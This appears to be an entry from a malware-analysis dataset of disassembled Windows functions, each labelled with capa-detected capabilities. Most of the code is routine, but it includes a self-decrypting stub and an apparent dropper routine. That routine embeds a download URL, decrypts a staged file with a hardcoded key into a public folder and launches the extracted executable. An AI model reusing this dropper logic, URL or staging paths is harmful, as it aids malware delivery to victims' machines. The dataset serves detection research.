joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4e5110
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x24]
cmp di, 0x76d
jb 0x4e5265
cmp di, 0x801
ja 0x4e5265
mov ebx, dword [esp + 0x28]
cmp bx, 1
jb 0x4e5265
cmp bx, 0xc
ja 0x4e5265
mov al, byte [esp + 0x30]
test al, al
je 0x4e5164
push edi
call fcn.004e56a0
add esp, 4
cmp ax, bx
je 0x4e5164
mov byte [esp + 0x30], 0
mov esi, dword [esp + 0x34]
mov ebp, dword [esp + 0x3c]
lea eax, [esp + 0x13]
lea ecx, [esp + 0x14]
mov word [esi], di
mov edi, dword [esp + 0x38]
push eax
lea edx, [esp + 0x1c]
mov word [edi], bx
mov ebx, dword [esp + 0x30]
push ecx
lea eax, [esp + 0x24]
mov word [ebp], bx
mov cx, word [edi]
push edx
mov dx, word [esi]
push eax
push ebx
push ecx
push edx
call fcn.004e5270
mov eax, dword [esp + 0x44]
mov ecx, dword [esp + 0x40]
mov edx, dword [esp + 0x30]
push ebx
push eax
mov eax, dword [esp + 0x3c]
push ecx
mov ecx, dword [esp + 0x44]
push edx
push eax
push ecx
call fcn.004e5090
add esp, 0x34
mov ebx, eax
xor eax, eax
inc eax
cmp eax, 0x64
mov dword [esp + 0x34], eax
jg 0x4e5265
test ebx, ebx
jne 0x4e51f9
mov al, byte [esp + 0x13]
mov cl, byte [esp + 0x30]
cmp al, cl
je 0x4e525b
test al, al
je 0x4e51ec
push 0xffffffffffffffe1
jmp 0x4e51ee
push 0x1f
push ebp
push edi
push esi
call fcn.004e5040
add esp, 0x10
neg ebx
push ebx
push ebp
push edi
push esi
call fcn.004e5040
lea edx, [esp + 0x23]
lea eax, [esp + 0x24]
push edx
lea ecx, [esp + 0x2c]
push eax
mov ax, word [ebp]
lea edx, [esp + 0x34]
push ecx
mov cx, word [edi]
push edx
mov dx, word [esi]
push eax
push ecx
push edx
call fcn.004e5270
mov eax, dword [esp + 0x58]
mov ecx, dword [esp + 0x54]
mov edx, dword [esp + 0x50]
push eax
mov eax, dword [esp + 0x44]
push ecx
mov ecx, dword [esp + 0x4c]
push edx
mov edx, dword [esp + 0x54]
push eax
push ecx
push edx
call fcn.004e5090
mov ebx, eax
mov eax, dword [esp + 0x78]
add esp, 0x44
jmp 0x4e51c6
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 0x10
ret
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x10
ret
Function at 0x4e68f0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x516038
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
push 0x73acfc
lea ecx, [esp + 4]
call fcn.005031a6
push 0x6e6a78
lea ecx, [esp + 8]
mov dword [esp + 0x40], 0
call fcn.005031a6
push 0x6e6a74
lea ecx, [esp + 0xc]
mov byte [esp + 0x40], 1
call fcn.005031a6
push 0x6e6a70
lea ecx, [esp + 0x10]
mov byte [esp + 0x40], 2
call fcn.005031a6
push 0x6e6a6c
lea ecx, [esp + 0x14]
mov byte [esp + 0x40], 3
call fcn.005031a6
push 0x6e6a68
lea ecx, [esp + 0x18]
mov byte [esp + 0x40], 4
call fcn.005031a6
push 0x6e6a64
lea ecx, [esp + 0x1c]
mov byte [esp + 0x40], 5
call fcn.005031a6
push 0x6e6a60
lea ecx, [esp + 0x20]
mov byte [esp + 0x40], 6
call fcn.005031a6
push 0x6e6a5c
lea ecx, [esp + 0x24]
mov byte [esp + 0x40], 7
call fcn.005031a6
push 0x6e6a58
lea ecx, [esp + 0x28]
mov byte [esp + 0x40], 8
call fcn.005031a6
push 0x6e6a54
lea ecx, [esp + 0x2c]
mov byte [esp + 0x40], 9
call fcn.005031a6
push 0x6e6a50
lea ecx, [esp + 0x30]
mov byte [esp + 0x40], 0xa
call fcn.005031a6
push 0x6e6a4c
lea ecx, [esp + 0x34]
mov byte [esp + 0x40], 0xb
call fcn.005031a6
mov eax, dword [esp + 0x44]
mov byte [esp + 0x3c], 0xc
cmp eax, 1
jge 0x4e6a20
cmp eax, 0xc
jle 0x4e6a20
mov ecx, dword [esp + 0x48]
push 0x73acfc
call fcn.005032c1
jmp 0x4e6a2e
mov ecx, dword [esp + 0x48]
lea eax, [esp + eax*4]
push eax
call fcn.00503271
lea ecx, [esp + 0x30]
mov byte [esp + 0x3c], 0xb
call fcn.00503138
lea ecx, [esp + 0x2c]
mov byte [esp + 0x3c], 0xa
call fcn.00503138
lea ecx, [esp + 0x28]
mov byte [esp + 0x3c], 9
call fcn.00503138
lea ecx, [esp + 0x24]
mov byte [esp + 0x3c], 8
call fcn.00503138
lea ecx, [esp + 0x20]
mov byte [esp + 0x3c], 7
call fcn.00503138
lea ecx, [esp + 0x1c]
mov byte [esp + 0x3c], 6
call fcn.00503138
lea ecx, [esp + 0x18]
mov byte [esp + 0x3c], 5
call fcn.00503138
lea ecx, [esp + 0x14]
mov byte [esp + 0x3c], 4
call fcn.00503138
lea ecx, [esp + 0x10]
mov byte [esp + 0x3c], 3
call fcn.00503138
lea ecx, [esp + 0xc]
mov byte [esp + 0x3c], 2
call fcn.00503138
lea ecx, [esp + 8]
mov byte [esp + 0x3c], 1
call fcn.00503138
lea ecx, [esp + 4]
mov byte [esp + 0x3c], 0
call fcn.00503138
lea ecx, [esp]
mov dword [esp + 0x3c], 0xffffffff
call fcn.00503138
mov ecx, dword [esp + 0x34]
mov dword fs:[0], ecx
add esp, 0x40
ret

Function at 0x4f3364
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4f3384
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.004f52ea
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x4f33a7
test byte [esp + 8], 2
je 0x4f33a7
call fcn.004f535d
mov dword [eax], 0xd
call fcn.004f5366
mov dword [eax], 5
jmp 0x4f3380
xor eax, eax
ret
Function at 0x50558f
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x5055c7
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.005035df
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.005035b7
jmp 0x5055d3
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x506c89
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x506ccb
call fcn.0050cf89
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x506ccb
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x506cc2
xor eax, eax
jmp 0x506cd3
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00506cd9
pop edi
pop esi
pop ebx
ret 4

Function at 0x50d4b9
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x50d4e7
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x50d505
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0050d41f
jmp 0x50d505
mov eax, dword [esi + 0x14]
test eax, eax
je 0x50d505
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0050d41f
test edi, edi
mov eax, edi
jne 0x50d4ef
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4014c0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x4014d9
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x401514
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x401510
lea ebx, [ebx]
cmp esi, eax
jae 0x401514
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x401500
cmp esi, eax
jb 0x40151a
pop esi
pop edi
xor eax, eax
pop ebx
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret

Function at 0x402100
Capabilities:
Reference http user-agent string

Disassembly:
sub esp, 0x20
mov eax, dword [0x47bcc8]
xor eax, esp
mov dword [esp + 0x1c], eax
push esi
mov esi, ecx
cmp dword [esi + 0x28], 0x10
jb 0x40211c
mov eax, dword [esi + 0x14]
jmp 0x40211f
lea eax, [esi + 0x14]
push eax
mov eax, dword [esi + 4]
push 0x2712
push eax
call fcn.0042ac80
add esp, 0xc
push 0x127
push str.Mozilla_5.0__Linux__Android_10__HLK_AL00_Build_HONORHLK_AL00__wv__AppleWebKit_537.36__KHTML__like_Gecko__Version_4.0_Chrome_86.0.4240.99_XWEB_4313_MMWEBSDK_20220805_Mobile_Safari_537.36_MMWEBID_2095_MicroMessenger_8.0.27.2220_0x28001B3F__WeChat_arm64_Weixin_NetType_WIFI_Language_zh_CN_ABI_arm64
lea ecx, [esp + 0xc]
mov dword [esp + 0x24], 0xf
mov dword [esp + 0x20], 0
mov byte [esp + 0x10], 0
call fcn.00401e10
cmp dword [esp + 0x1c], 0x10
mov eax, dword [esp + 8]
jae 0x402168
lea eax, [esp + 8]
mov ecx, dword [esi + 4]
push eax
push 0x2722
push ecx
call fcn.0042ac80
mov edx, dword [esi + 4]
push 5
push 0x44
push edx
call fcn.0042ac80
mov eax, dword [esi + 4]
push 1
push 0x34
push eax
call fcn.0042ac80
mov ecx, dword [esi + 4]
push 1
push 0x63
push ecx
call fcn.0042ac80
mov edx, dword [esi + 4]
push 0
push 0x2f
push edx
call fcn.0042ac80
mov eax, dword [esi + 4]
push 0x401930
push 0x4e2b
push eax
call fcn.0042ac80
mov ecx, dword [esi + 4]
add esp, 0x48
push esi
push 0x2711
push ecx
call fcn.0042ac80
mov edx, dword [esi + 4]
push 0
push 0x40
push edx
call fcn.0042ac80
mov eax, dword [esi + 4]
push 0
push 0x51
push eax
call fcn.0042ac80
add esp, 0x24
cmp dword [esp + 0x1c], 0x10
pop esi
jb 0x402202
mov ecx, dword [esp + 4]
push ecx
call fcn.00407169
add esp, 4
mov ecx, dword [esp + 0x1c]
xor ecx, esp
call fcn.0041399b
add esp, 0x20
ret
Function at 0x403230
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov ecx, dword [esp + 8]
test ecx, ecx
jne 0x40323b
xor eax, eax
ret
mov edx, dword [esp + 0xc]
mov eax, dword [esp + 4]
push esi
not eax
cmp edx, 8
jb 0x403319
mov esi, edx
shr esi, 3
push edi
movzx edi, byte [ecx]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x467c58]
movzx edi, byte [ecx + 1]
xor edi, eax
and edi, 0xff
inc ecx
shr eax, 8
xor eax, dword [edi*4 + 0x467c58]
movzx edi, byte [ecx + 1]
xor edi, eax
and edi, 0xff
inc ecx
shr eax, 8
xor eax, dword [edi*4 + 0x467c58]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x467c58]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x467c58]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x467c58]
movzx edi, byte [ecx + 1]
inc ecx
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x467c58]
movzx edi, byte [ecx + 1]
inc ecx
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x467c58]
inc ecx
sub edx, 8
sub esi, 1
jne 0x403255
pop edi
test edx, edx
je 0x40333b
lea ecx, [ecx]
movzx esi, byte [ecx]
xor esi, eax
and esi, 0xff
shr eax, 8
xor eax, dword [esi*4 + 0x467c58]
inc ecx
sub edx, 1
jne 0x403320
not eax
pop esi
ret

Function at 0x403340
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov edx, dword [esp + 4]
mov eax, dword [edx]
movsx ecx, byte [esp + 8]
xor ecx, eax
shr eax, 8
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x467c58]
xor ecx, eax
movzx eax, cl
add eax, dword [edx + 4]
mov dword [edx], ecx
mov ecx, dword [edx + 8]
imul eax, eax, 0x8088405
inc eax
mov dword [edx + 4], eax
shr eax, 0x18
xor eax, ecx
and eax, 0xff
shr ecx, 8
xor ecx, dword [eax*4 + 0x467c58]
mov dword [edx + 8], ecx
ret

Function at 0x403390
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
mov ecx, dword [esi + 8]
mov eax, ecx
and eax, 0xfffd
or eax, 2
mov edx, eax
xor edx, 1
imul edx, eax
mov al, byte [esp + 0x10]
shr edx, 8
xor al, dl
mov edx, dword [esi]
push edi
movsx edi, al
xor edi, edx
shr edx, 8
and edi, 0xff
mov ebx, dword [edi*4 + 0x467c58]
xor ebx, edx
movzx edx, bl
add edx, dword [esi + 4]
mov dword [esi], ebx
imul edx, edx, 0x8088405
inc edx
mov dword [esi + 4], edx
shr edx, 0x18
xor edx, ecx
and edx, 0xff
shr ecx, 8
xor ecx, dword [edx*4 + 0x467c58]
pop edi
mov dword [esi + 8], ecx
pop esi
pop ebx
ret
Function at 0x4037c0
Capabilities:
Read file on windows

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
mov edi, dword [esp + 0x1c]
mov esi, ebx
imul esi, dword [esp + 0x18]
cmp byte [edi], 0
je 0x403802
mov ecx, dword [esp + 0x10]
mov edx, dword [edi + 4]
push 0
lea eax, [esp + 0x18]
push eax
push esi
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4037f6
mov byte [edi + 8], 1
mov eax, dword [esp + 0x14]
pop edi
xor edx, edx
pop esi
div ebx
pop ebx
ret
mov ecx, dword [edi + 0x1c]
mov eax, dword [edi + 0x18]
lea edx, [ecx + esi]
cmp edx, eax
jbe 0x403813
sub eax, ecx
mov esi, eax
mov eax, dword [edi + 0x14]
add eax, ecx
mov ecx, dword [esp + 0x10]
push esi
push eax
push ecx
call fcn.004147f0
add dword [edi + 0x1c], esi
add esp, 0xc
pop edi
mov eax, esi
xor edx, edx
pop esi
div ebx
pop ebx
ret

Function at 0x4048d0
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
sub esp, 0x20c
mov eax, dword [0x47bcc8]
xor eax, esp
mov dword [esp + 0x208], eax
push ebp
mov ebp, dword [esp + 0x218]
push edi
mov edi, dword [esp + 0x218]
test edi, edi
je 0x40490d
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40490d
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov al, byte [ebp]
test al, al
je 0x4049c6
push esi
mov esi, ebp
mov ecx, ebp
lea ecx, [ecx]
cmp al, 0x2f
je 0x404928
cmp al, 0x5c
jne 0x40492a
mov esi, ecx
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x404920
cmp esi, ebp
je 0x404960
sub esi, ebp
push esi
lea eax, [esp + 0x114]
push ebp
push eax
call fcn.004147f0
lea ecx, [esp + 0x11c]
push ecx
push edi
mov byte [esp + esi + 0x124], 0
call fcn.004048d0
add esp, 0x14
mov byte [esp + 0xc], 0
test edi, edi
je 0x40497b
lea edx, [esp + 0xc]
mov eax, edi
sub edx, edi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x404971
mov eax, ebp
mov edx, ebp
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404980
lea edi, [esp + 0xc]
sub eax, edx
dec edi
mov edi, edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x404990
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea edx, [esp + 0xc]
and ecx, 3
push edx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
pop esi
cmp eax, 0xffffffff
jne 0x4049c6
push 0
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ecx, dword [esp + 0x210]
pop edi
pop ebp
xor ecx, esp
call fcn.0041399b
add esp, 0x20c
ret
Function at 0x406150
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 8
push ebx
push edi
mov edi, dword [esp + 0x14]
xor ebx, ebx
cmp edi, ebx
jne 0x40616a
pop edi
mov eax, 0xffffff9a
pop ebx
add esp, 8
ret
cmp dword [edi + 0x18], ebx
je 0x40615f
cmp dword [edi + 0x7c], ebx
je 0x40617d
push edi
call fcn.004041e0
add esp, 4
lea eax, [esp + 8]
push eax
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x14]
push edx
push edi
call fcn.00403ff0
add esp, 0x10
test eax, eax
je 0x4061a4
pop edi
mov eax, 0xffffff99
pop ebx
add esp, 8
ret
push esi
push 0x84
call fcn.00414f6f
mov esi, eax
add esp, 4
cmp esi, ebx
je 0x4061e5
push 0x4000
call fcn.00414f6f
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x10]
add esp, 4
mov dword [esi], eax
mov dword [esi + 0x44], ecx
mov dword [esi + 0x48], edx
mov dword [esi + 0x4c], ebx
cmp eax, ebx
jne 0x4061f1
push esi
call fcn.00414e92
add esp, 4
pop esi
pop edi
mov eax, 0xffffff98
pop ebx
add esp, 8
ret
mov dword [esi + 0x40], ebx
mov ecx, dword [edi + 0x3c]
xor eax, eax
cmp dword [edi + 0x34], ebx
mov dword [esi + 0x54], ecx
mov dword [esi + 0x50], ebx
mov edx, dword [edi + 0x34]
sete al
mov dword [esi + 0x64], edx
mov ecx, dword [edi]
mov dword [esi + 0x60], ecx
mov edx, dword [edi + 0xc]
mov dword [esi + 0x68], edx
mov dword [esi + 0x18], ebx
cmp eax, ebx
jne 0x40623d
lea eax, [esi + 4]
push eax
mov dword [esi + 0x24], ebx
mov dword [esi + 0x28], ebx
mov dword [esi + 0x2c], ebx
call fcn.004035c0
add esp, 4
test eax, eax
jne 0x40623d
mov dword [esi + 0x40], 1
mov ecx, dword [edi + 0x40]
mov dword [esi + 0x58], ecx
mov edx, dword [edi + 0x44]
mov dword [esi + 0x5c], edx
mov al, byte [edi + 0x30]
and al, 1
mov byte [esi + 0x6c], al
mov ecx, dword [edi + 0x30]
shr ecx, 3
test cl, 1
je 0x406267
mov dl, byte [edi + 0x39]
mov byte [esi + 0x80], dl
jmp 0x406270
mov al, byte [edi + 0x3f]
mov byte [esi + 0x80], al
movzx ecx, byte [esi + 0x6c]
neg ecx
sbb ecx, ecx
push ebp
mov ebp, dword [esp + 0x20]
and ecx, 0xc
lea ebx, [esi + 0x70]
mov dword [esi + 0x7c], ecx
mov dword [ebx], 0x12345678
mov dword [esi + 0x74], 0x23456789
mov dword [esi + 0x78], 0x34567890
test ebp, ebp
je 0x4062b7
mov edi, edi
movzx eax, byte [ebp]
test al, al
je 0x4062b7
push eax
push ebx
call fcn.00403340
add esp, 8
add ebp, 1
jne 0x4062a0
mov edx, dword [edi + 0x78]
mov eax, dword [esp + 0x14]
lea ecx, [edx + eax + 0x1e]
pop ebp
mov dword [esi + 0x3c], ecx
mov dword [esi + 8], 0
mov dword [edi + 0x7c], esi
pop esi
pop edi
xor eax, eax
pop ebx
add esp, 8
ret
Function at 0x406550
Capabilities:
Get common file path

Disassembly:
push ebx
mov ebx, ecx
cmp dword [ebx], 0
jne 0x40661d
cmp dword [ebx + 4], 0xffffffff
jne 0x40661d
push edi
lea edi, [ebx + 0x140]
push edi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov eax, edi
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406580
sub eax, edx
mov al, byte [eax + ebx + 0x13f]
cmp al, 0x5c
je 0x4065b1
cmp al, 0x2f
je 0x4065b1
dec edi
lea esp, [esp]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4065a0
mov ax, word [0x46817c]
mov word [edi], ax
mov edi, dword [esp + 0x14]
push esi
mov esi, dword [esp + 0x10]
cmp edi, 1
jne 0x4065dc
push 1
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x4065dc
pop esi
pop edi
mov eax, 0x2000000
pop ebx
ret 0xc
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x18]
push ecx
push edi
push edx
push esi
call fcn.00403670
add esp, 0x10
test eax, eax
jne 0x4065fe
mov eax, dword [esp + 0x18]
pop esi
pop edi
pop ebx
ret 0xc
push eax
call fcn.00405f60
add esp, 4
mov dword [ebx], eax
neg eax
sbb eax, eax
pop esi
and eax, 0xfffffe00
pop edi
add eax, 0x200
pop ebx
ret 0xc
mov eax, 0x1000000
pop ebx
ret 0xc
Function at 0x406d00
Capabilities:
Read file on windows
Write file on windows

Disassembly:
mov eax, dword [esp + 8]
sub esp, 8
push esi
push edi
push 0x4682c0
push eax
lea ecx, [esp + 0x10]
push ecx
call fcn.004145c0
mov edx, dword [esp + 0x14]
push 2
push 0
push edx
call fcn.0041558b
mov eax, dword [esp + 0x20]
push eax
call fcn.00415493
mov ecx, dword [esp + 0x24]
push 0
push 0
push ecx
mov edi, eax
call fcn.0041558b
push edi
call fcn.00407174
mov edx, dword [esp + 0x34]
push edx
push edi
mov esi, eax
push 1
push esi
call fcn.004152d9
mov edi, eax
mov eax, dword [esp + 0x44]
push eax
call fcn.004142b0
mov ecx, dword [esp + 0x54]
add esp, 0x40
push ecx
push edi
push esi
call fcn.00406cc0
mov edx, dword [esp + 0x28]
push 0x466740
push edx
lea eax, [esp + 0x20]
push eax
call fcn.004145c0
mov ecx, dword [esp + 0x24]
push ecx
push edi
push 1
push esi
call fcn.004141b7
mov edx, dword [esp + 0x34]
push edx
call fcn.004142b0
push esi
call fcn.00407169
add esp, 0x30
pop edi
pop esi
add esp, 8
ret

Function at 0x406db0
Capabilities:
Delete file

Disassembly:
sub esp, 0x130
mov eax, dword [0x47bcc8]
xor eax, esp
mov dword [esp + 0x12c], eax
push ebp
mov ebp, dword [esp + 0x13c]
push esi
mov esi, dword [esp + 0x13c]
push edi
push 0x4665d0
push ebp
call fcn.00406730
mov edi, eax
add esp, 8
test edi, edi
je 0x406e00
push esi
push edi
call fcn.00404a90
add esp, 8
test eax, eax
je 0x406e1a
push edi
call fcn.00406a50
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebp
mov ecx, dword [esp + 0x12c]
xor ecx, esp
call fcn.0041399b
add esp, 0x130
ret
lea eax, [esp + 0xc]
push eax
push 0xffffffffffffffff
push edi
call fcn.00404a40
add esp, 0xc
test eax, eax
jne 0x406df7
push ebx
mov ebx, dword [esp + 0x10]
xor esi, esi
test ebx, ebx
jle 0x406e60
lea esp, [esp]
lea ecx, [esp + 0x10]
push ecx
push esi
push edi
call fcn.00404a40
lea edx, [esp + 0x20]
push edx
push esi
push edi
call fcn.00406750
inc esi
add esp, 0x18
cmp esi, ebx
jl 0x406e40
push edi
call fcn.00406a50
add esp, 4
push ebp
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [esp + 0x13c]
pop ebx
pop edi
pop esi
pop ebp
xor ecx, esp
mov eax, 1
call fcn.0041399b
add esp, 0x130
ret
Function at 0x406f20
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x465503
mov eax, dword fs:[0]
push eax
sub esp, 0x88
mov eax, dword [0x47bcc8]
xor eax, esp
mov dword [esp + 0x84], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x47bcc8]
xor eax, esp
push eax
lea eax, [esp + 0x9c]
mov dword fs:[0], eax
mov ebp, ecx
xor ebx, ebx
push ebx
mov dword [esp + 0x50], ebp
call fcn.0040e453
lea ecx, [esp + 0x50]
mov dword [esp + 0xa4], ebx
mov dword [ebp], method.CWinApp.virtual_0
call fcn.00401c20
mov edi, 0xf
mov eax, str.C:UsersPublicMusicen.dat
mov byte [esp + 0xa4], 1
mov dword [esp + 0x48], edi
mov dword [esp + 0x44], ebx
mov byte [esp + 0x34], bl
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x406fa1
sub eax, esi
push eax
push str.C:UsersPublicMusicen.dat
lea ecx, [esp + 0x38]
call fcn.00401e10
mov eax, str.https:__onw.cc_1drv.ms_urlhttps:__1drv.ms_u_s_AkFPFpZOd6wAgm3MkV6h77yBmp8x_eCGXh2w
mov byte [esp + 0xa4], 2
mov dword [esp + 0x2c], edi
mov dword [esp + 0x28], ebx
mov byte [esp + 0x18], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x406fd5
sub eax, edx
push eax
push str.https:__onw.cc_1drv.ms_urlhttps:__1drv.ms_u_s_AkFPFpZOd6wAgm3MkV6h77yBmp8x_eCGXh2w
lea ecx, [esp + 0x1c]
call fcn.00401e10
lea eax, [esp + 0x30]
push eax
lea ecx, [esp + 0x18]
push ecx
lea ecx, [esp + 0x58]
mov byte [esp + 0xac], 3
call fcn.00402220
mov esi, 0x10
cmp dword [esp + 0x2c], esi
jb 0x407020
mov edx, dword [esp + 0x18]
push edx
call fcn.00407169
add esp, 4
mov dword [esp + 0x2c], edi
mov dword [esp + 0x28], ebx
mov byte [esp + 0x18], bl
mov byte [esp + 0xa4], 1
cmp dword [esp + 0x48], esi
jb 0x407047
mov eax, dword [esp + 0x34]
push eax
call fcn.00407169
add esp, 4
lea ecx, [esp + 0x50]
call fcn.004018e0
push str.C:UsersPublicMusicde.dat
push str.C:UsersPublicMusicen.dat
push str.5B18C3AD8CFR4D39
call fcn.00406d00
push str.C:UsersPublicMusicde.dat
push str.C:UsersPublicPictures
call fcn.00406db0
mov eax, str.BitTorrentEvernoteMouseTray.exe
add esp, 0x14
mov esi, eax
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x407080
mov edi, str.C:UsersPublicPictures
sub eax, esi
dec edi
nop
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x407090
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 5
push ebx
push 0x4665d0
push str.C:UsersPublicPictures
mov ecx, eax
push str.open
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [esp + 0x50]
mov byte [esp + 0xa4], bl
call fcn.00402070
mov eax, ebp
mov ecx, dword [esp + 0x9c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x84]
xor ecx, esp
call fcn.0041399b
add esp, 0x94
ret

Function at 0x41399b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x47bcc8]
jne 0x4139a5
repz ret
jmp fcn.00419eec